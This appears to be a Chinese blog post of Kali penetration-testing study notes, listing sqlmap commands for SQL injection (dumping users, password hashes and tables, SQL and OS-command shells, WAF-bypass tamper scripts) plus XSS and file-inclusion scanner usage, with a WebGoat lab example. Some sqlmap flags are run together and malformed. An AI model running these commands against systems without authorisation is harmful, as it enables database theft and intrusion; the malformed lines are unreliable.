【Kali 渗透测试】漏洞学习笔记

一、SQL 注入

web 应用或网站在处理用户输入时没有正确过滤和转义特殊字符,导致用户输入被当成 sql 语句执行。

1. sqlmap

自动发现和利用 web 应用中的数据库漏洞

基本功能

对 web 应用中的数据库进行自动化检测、利用和攻击。

  • 检测链接地址是否包含SQL注入漏洞
bash 复制代码
sqlmap -u "URL地址"
sqlmap -u "URL地址" --batch # 启用所有需要手动确认的功能
sqlmap -u "URL地址" --current-user --current-db --batch # 查看当前连接数据库的用户和数据库名
sqlmap -u "URL地址" --is-dba --batch # 判断当前用户是否是 dba 权限
sqlmap -u "URL地址" --privileges --batch # 列举当前用户权限
sqlmap -u "URL地址" --priv-esc--batch # 提权
sqlmap -u "URL地址" --users-batch # 列举所有用户
sqlmap -u "URL地址" --passwords --batch 
sqlmap -u "URL地址" --dbs --batch
sqlmap -u "URL地址" -D库名 --tables --batch
sqlmap -u "URL地址" -D库名 -T表名 --columns --batch
sqlmap -u "URL地址" -D库名 -T表名 -C指定列名,指定列名 --dump--batch

sqlmap 执行数据库交互

bash 复制代码
sqlmap -u "URL地址" --sql-query="查询语句" --batch
sqlmap -u "URL地址" --sql-shell --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch
sqlmap -u "URL地址" --os-cmd=系统命令 --batch

POST请求类型的SQL注入

  • 方法一
bash 复制代码
sqlmap -u "URL地址" --data="POST的内容" --batch
sqlmap -u "http://x.x.x.x:8080/WebGoat/SqlInjection/assignment5b" --data="login_count=webgoat&userid=0" --batch --cookie="xxx"
  • 方法二

burp suit 拦截数据包,右键单击请求,save item,保存为文件

bash 复制代码
sqlmap -r 保存的文件 --batch
bash 复制代码
sqlmap -m 文件地址 # 批量检测

指定 sql 注入的方式

bash 复制代码
sqlmap -u "URL地址" --technique=E --batch
  • E 报错注入
  • B 基于布尔的盲注
  • U 联合查询
  • S 堆叠查询
  • T 基于时间的盲注
  • Q 仅仅使用内联查询

sqlmap 脚本

借助 sqlmap 脚本绕过 waf 的检测

bash 复制代码
sqlmap -u "URL地址" --batch --tamper 脚本名

2. JSQL injection

基于 Java 的轻量级 sql 注入引用

bash 复制代码
apt install jsql-injection

二、XSS

网站安全漏洞,攻击者可以利用其在网站中注入JS客户端代码

1. XSSer

bash 复制代码
apt install xsser
xsser -u "URL地址" -g '路径和参数'
xsser -u "URL地址" -c爬虫深度 --Cl URL地址

2. XSStrike

bash 复制代码
pip3 install xsstrike

3. BeEF

利用浏览器中的 xss 漏洞

三、文件包含漏洞

是一种代码注入漏洞,发生在使用了文件包含函数的位置

  • 本地文件包含:能够打开并包含本地文件的漏洞
  • 远程文件包含:能够打开并包含远程文件的漏洞

uniscan

文件包含漏洞扫描器

bash 复制代码
apt install uniscan
uniscan -u URL地址 -qweds

检测完在 /usr/share/uniscan/report 目录下生成扫描结果

相关推荐
能年玲奈喝榴莲牛奶15 小时前
4zreark:只用 PostgreSQL 的资产侦察与漏洞管理平台,Go + React 全栈开源
网络安全·渗透测试·资产测绘·企业管理·资产收集
天府云创1 天前
Rustscan 端口扫描工具入门到实战
渗透测试·网络扫描·nmap·网络嗅探·rustscan·安全测速·企业攻防
admin and root1 天前
《神农安全.AI漏洞挖掘src赏金》单独开放!
安全·web安全·网络安全·数据挖掘·渗透测试·ai安全·白帽子黑客
IT大白鼠2 天前
渗透测试实战从靶场搭建到渗透流程——第 4 篇 · SQL 注入进阶:POST、请求头与绕过
渗透测试
IT大白鼠4 天前
渗透测试实战从靶场搭建到渗透流程——第 1 篇 · 靶场宿主搭建:Docker 编排 15 个常驻靶场
渗透测试
墨云安全9 天前
系统安全检测方案怎么写?从资产清点到复测闭环的技术框架
安全·网络安全·渗透测试·系统安全
文章永久免费只为良心12 天前
Ctfshow_Web应用安全与防护_第二章_无字母数字命令执行
前端·python·安全·网络安全·渗透测试·ctf·红队渗透测试
墨云安全14 天前
AI 漏洞挖掘平台怎么评估?2026 年技术架构与选型要点
网络·人工智能·网络安全·架构·渗透测试
墨云安全14 天前
自动化渗透测试工具有哪些?2026 年引擎原理、任务编排与误报抑制实践
git·测试工具·网络安全·渗透测试·自动化
墨云安全14 天前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试